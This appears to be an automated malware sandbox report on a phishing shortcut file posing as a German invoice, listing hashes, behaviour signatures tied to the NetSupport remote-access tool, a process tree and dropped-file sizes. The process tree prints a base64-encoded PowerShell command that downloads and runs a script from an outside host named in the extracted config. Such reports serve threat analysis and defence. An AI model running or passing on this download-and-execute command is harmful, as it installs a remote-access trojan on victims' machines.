Analysis
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max time kernel
148s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
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submitted
05-03-2024 13:03
General
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Target
Rechnung3949888 M5516519 TEU3949888.lnk
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Size
52KB
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MD5
6b0fad35a8aaef4b892a229b13a5a9b2
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SHA1
194efa1278e4d4cb061d0eee5d42daf9590c9cf4
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SHA256
0cecbd1467320eb2b91adf45ccc75224699dc6910d29f840c10c47b46aaee20f
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SHA512
ca6566ef67c6b781f4390433e515350d823b13bfd6f502d0bc22aaf701a8a3e471494031cd0f130c44bcbdcfef40870152f2d7912cac3c018b6622c748a28a05
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SSDEEP
768:qf2+GzRdDjk9OH2LKTW0pZ7m17RQePtdDFeceU8tIwz/zJJNYjPOGR5Xr:yaRdD+82WTW0p8h6ePXdwTzJKmI5Xr
Malware Config
Extracted
https://www.sdsoffice.fr/test.txt
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 2 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 1 IoCs
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Loads dropped DLL 6 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Suspicious behavior: EnumeratesProcesses 8 IoCs
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Suspicious use of AdjustPrivilegeToken 7 IoCs
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Suspicious use of FindShellTrayWindow 32 IoCs
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Suspicious use of SendNotifyMessage 31 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Rechnung3949888 M5516519 TEU3949888.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBzAGQAcwBvAGYAZgBpAGMAZQAuAGYAcgAvAHQAZQBzAHQALgB0AHgAdAAnACkAIAB8ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\client32.exe"C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD52d3b207c8a48148296156e5725426c7f
SHA1ad464eb7cf5c19c8a443ab5b590440b32dbc618f
SHA256edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
SHA51255c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c
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Filesize
259B
MD5866c96ba2823ac5fe70130dfaaa08531
SHA1892a656da1ea264c73082da8c6e5f5728abcb861
SHA2566a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921
SHA5120dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112
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Filesize
32KB
MD5dcde2248d19c778a41aa165866dd52d0
SHA17ec84be84fe23f0b0093b647538737e1f19ebb03
SHA2569074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
SHA512c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166
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Filesize
3.3MB
MD5916c03d8fc0c1fd211c254737dff1055
SHA1948ee4fbae7ce9dc7a37ccaca75341876bbf5d70
SHA256250e8bbec081ae5e65b669da92652af6d4266db816c8705fbc9be84707914d99
SHA512ad18049763a0c289f80c0efa21fbe2a44d0d3f4b5f3686ed9be7562e5c9c68f932a8047377e3a5a8a2a6f09046bb12eadf8b6d3b99dfaa81650fa633ccee1050
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Filesize
117KB
MD5a2b46c59f6e7e395d479b09464ecdba0
SHA192c132307dd21189b6d7912ddd934b50e50d1ec1
SHA25689f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1
SHA5124f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916
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Filesize
652B
MD5c9b4f1e39f34d1c29afdd773198b7aab
SHA1941bf2cb5db320353a611064e421efc863e801db
SHA256ce821d983c7b99e17baa5242f32a9cf2aa2a89d6e1c1df805d503754c768a7a5
SHA512ed2c0c86d4b97de4d292d5488f3152d6e44fcad8cb7303ee4f8c0aa628c63ada77064008f7cc3a9dc90b8ff40d20905b3d627bee4238f27662bc67c9d9121775
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
18KB
MD5a0b9388c5f18e27266a31f8c5765b263
SHA1906f7e94f841d464d4da144f7c858fa2160e36db
SHA256313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
SHA5126051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd
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Filesize
40KB
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Filesize
72KB
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Filesize
136KB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB